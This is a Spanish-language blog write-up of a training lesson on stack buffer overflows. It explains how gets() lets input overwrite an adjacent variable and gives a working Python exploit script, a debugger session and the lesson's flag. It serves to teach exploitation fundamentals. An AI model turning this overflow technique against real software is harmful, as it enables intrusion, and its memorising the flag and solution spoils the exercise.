Grunt's personal blog

this is my personal blog for my hacking stuff, my degree stuff, etc

View on GitHub

Corrupción de Memoria Basada en la Pila

Corrupción

Corrupción de Memoria Basada en la Pila

Hemos visto cómo debería funcionar la pila, pero ¿qué sucede cuando un programador introduce una vulnerabilidad? Este nivel introduce el concepto de corrupción de memoria y muestra cómo un atacante puede aprovechar un error para obtener control total sobre la pila.

Objetivos de Aprendizaje


Introducción

Como un lenguaje relativamente de “bajo nivel”, C otorga a los desarrolladores acceso sin restricciones a la memoria en tiempo de ejecución de su programa. Cuando un código defectuoso hace que un programa acceda a la memoria incorrecta, puede ocurrir corrupción de memoria.

A menudo, la corrupción de memoria simplemente hará que un programa se bloquee. Pero, si se utiliza correctamente, un atacante puede usar esta corrupción para cambiar el comportamiento del programa y realizar acciones más maliciosas.


Expectativas Poco Realistas

Al revisar el código fuente proporcionado para esta lección, podemos ver que el programa entrará en la condición de éxito si la variable local foo se establece en el valor hexadecimal 0xDEADBEEF0BADC0DE:

if (foo == 0xDEADBEEF0BADC0DE)
{
    printf("¡Correcto!\n");
    system("cat flag");
}

Pero, ¿cómo puede esto ser cierto? La variable foo solo se inicializa con el valor fijo 0x5151515151515151 y no se modifica en ninguna otra parte del código.

uint64_t foo = 0x5151515151515151;

Para un programador promedio, este binario parece presentar una condición imposible de cumplir. Pero para los curiosos, esto está lejos de ser imposible.


Desbordamiento de Buffer

Algo muy interesante acaba de suceder. Tu entrada causó que el programa desbordara el buffer y corrompiera la variable foo cercana.

Enter data: 
>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...

Un desbordamiento de buffer ocurre cuando el número de bytes copiados a un buffer excede su tamaño asignado. Los datos excedentes “desbordarán” el buffer, corrompiendo la memoria adyacente.


Inicialización en el Depurador

Para explicar mejor el daño que puede causar esta corrupción, estudiaremos el binario a nivel de ensamblador. Comienza colocando un punto de interrupción en la siguiente dirección y vuelve a ejecutar el programa:

wdb> b * 0x40172c
wdb> run 

Inicialización de foo

En esta instrucción, podemos ver que el valor de 64 bits 0x5151515151515151 se carga en el registro rax. La instrucción que sigue inmediatamente almacenará este valor en la dirección de memoria [rbp-0x8]:

mov     rax, 0x5151515151515151
mov     qword [rbp-0x8], rax

En la lección anterior, aprendimos que rbp es el puntero base del marco de pila actual. Por lo tanto, estas dos instrucciones deben estar inicializando la variable local foo en la pila. Esto se traduce aproximadamente a la siguiente línea de código en C:

uint64_t foo = 0x5151515151515151;

Usa si para avanzar paso a paso por estas instrucciones y continúa con la lección.


Acerca de gets()

La función de biblioteca gets() es conocida como get string. Esta función es notoriamente insegura porque no hay forma de restringir cuántos datos leerá en un buffer dado:

// Leer entrada del usuario desde STDIN a un buffer en la pila
printf("Enter data: ");
gets(buffer);

Al usar esta función insegura, el programador ha introducido inadvertidamente una vulnerabilidad en este binario. Este ejemplo clásico de un desbordamiento de buffer puede llevar directamente a la corrupción de datos en la pila.


Escritura del Exploit

Usando Python, puedes escribir un script para explotar esta vulnerabilidad.

import interact
import struct

# Función para empaquetar un número a 8 bytes en formato little-endian
def p64(n):
    return struct.pack('<Q', n)

# 1. El relleno para llegar hasta 'foo' (32 + 8 = 40 bytes)
padding = b'A' * 40

# 2. El valor que queremos escribir en 'foo', empaquetado con p64()
target_value = p64(0xDEADBEEF0BADC0DE)

# 3. El payload final es la combinación de ambos
payload = padding + target_value

# --- Se envía el payload al programa ---
p = interact.Process()
p.readuntil('Enter data: ')
p.sendline(payload)

# Usamos interactive() para ver la salida final del programa,
# que incluirá la visualización del stack y la flag.
p.interactive()

Arquitectura Little Endian

Recuerda que x86 es una arquitectura little-endian. Esto significa que los números se almacenan “al revés” en memoria:

Número de 64 bits: 0x4142434445464748
Bytes en memoria : 48 47 46 45 44 43 42 41

Asegúrate de tener esto en cuenta al enviar tu payload. Puedes usar las funciones p64 y u64 para automatizar la conversión.


Resultado Final

| Dirección de Memoria       | Contenido                          | Descripción                     |
|----------------------------|------------------------------------|---------------------------------|
| 0x7fffffffed90             | 01 00 00 00 00 00 00 00           | Espacio no asignado             |
| 0x7fffffffeda0 (bar)       | 51 52 53 54 55 56 57 58           | Variable `bar`                  |
| 0x7fffffffeda8 (buffer)    | 41 41 41 41 41 41 41 41           | Inicio del buffer               |
| 0x7fffffffedb0             | 41 41 41 41 41 41 41 41           | Continuación del buffer         |
| 0x7fffffffedb8             | 41 41 41 41 41 41 41 41           | Continuación del buffer         |
| 0x7fffffffedc0             | 41 41 41 41 41 41 41 41           | Continuación del buffer         |
| 0x7fffffffedc8 (padding)   | 41 41 41 41 41 41 41 41           | Espacio de relleno (padding)    |
| 0x7fffffffedd0 (foo)       | DE C0 AD 0B EF BE AD DE           | Variable `foo`                  |
| 0x7fffffffedd8             | 00 17 40 00 00 00 00 00           | Dirección de retorno            |
| ...                        | ...                                | Marco de pila anterior          |

Correct! flag{w3lc0m3_t0_th3_m4g1c4l_w0rld_0f_mem0ry_c0rrupt1on}



## Entendiendo un poco más la pila, y el padding.


El relleno de 40 bytes es la **distancia exacta** que necesitás "viajar" por la memoria del stack para ir desde el inicio de `buffer` hasta el inicio de `foo`. No es un número al azar, sino la suma de dos cosas:
1. el tamaño del propio buffer.
2. Y un espacio de relleno que el compilador agrega.

## El Mapa del Stack: buffer, padding y foo 🗺️

Acá se muestra cómo están ordenadas las variables en la memoria:

       +---------------------------------------+  buffer -->| ... (32 bytes para tu entrada) ...    |
       +---------------------------------------+ (padding) ->| ... (8 bytes de espacio vacío) ...    |
       +---------------------------------------+
foo -->| ... (8 bytes para la variable foo) ...|
       +---------------------------------------+ ``` 

  1. El buffer (32 bytes): Es el espacio que el programa te reserva. Los primeros 32 bytes de tu payload (b’A’ * 40) se usan simplemente para llenar este espacio por completo.

  2. El padding del compilador (8 bytes): Después del buffer, el compilador dejó un “hueco” de 8 bytes. Esto lo hace para mantener las variables alineadas a 8 bytes, (x86_64 otras arquitecturas utilizan otras alineaciones) lo que optimiza el acceso a memoria en sistemas de 64 bits. Los siguientes 8 bytes de tu payload llenan este hueco.

  3. La variable foo (8 bytes): Justo después de ese relleno de 8 bytes, empieza la variable foo.

Sumando ambos tramos: 32 bytes (buffer) + 8 bytes (padding) = 40 bytes. Por eso padding = b’A’ * 40 es la cantidad precisa de “basura” que necesitás enviar para que el siguiente byte que escribas caiga justo en el primer byte de foo.

La Inundación: Cómo Funciona el Relleno 🌊 (explicación para nenes de doce años)

Imaginá que el buffer es un vaso de 32 ml y foo está en una mesa justo al lado. La función gets() es como una manguera sin canilla que empieza a llenar el vaso con tu payload.

Llenando el buffer: Los primeros 32 bytes de ‘A’ llenan el vaso hasta el borde.

El Desborde: Como seguís enviando datos, los siguientes 8 bytes de ‘A’ se desbordan del vaso y cubren los 8 cm de mesa (el padding) que lo separan de foo.

El Objetivo: Después de 40 bytes, el “agua” (tus datos) está justo en el borde de foo. Ahora, los siguientes 8 bytes que envíes (p64(0xDEADBEEF0BADC0DE)) caerán directamente sobre foo, cambiándole el valor.

El relleno, entonces, no es para “rellenar la pila” en general, sino para controlar con precisión hasta dónde llega tu desbordamiento y así poder escribir el valor exacto en la ubicación exacta que querés corromper.

Entendiendo el endianness

La arquitectura de tu computadora (x86) es little-endian, lo que significa que guarda los números de más de un byte en memoria “dándolos vuelta”, con el byte menos significativo primero.

¿Qué es Endianness?

Endianness define el orden en que se almacenan en memoria los bytes que componen un número. Existen dos tipos principales:

Ejemplo con el número 0xDEADBEEF:

Arquitectura Dirección de Memoria (baja a alta)
Big-Endian DE AD BE EF
Little-Endian EF BE AD DE

Entonces, ¿por que afecta al script del exploit?

Cuando creás tu payload, estás construyendo una cadena de bytes que se escribirá en la memoria uno por uno. Si querés que la variable foo contenga el número 0xDEADBEEF0BADC0DE, no podés simplemente escribir los bytes DE, AD, BE, EF… en ese orden. Debido a que la CPU es little-endian, tenés que enviar los bytes en el orden en que la CPU espera leerlos de la memoria para reconstruir el número original. Es decir, tenés que “darles la vuelta” vos mismo en el payload.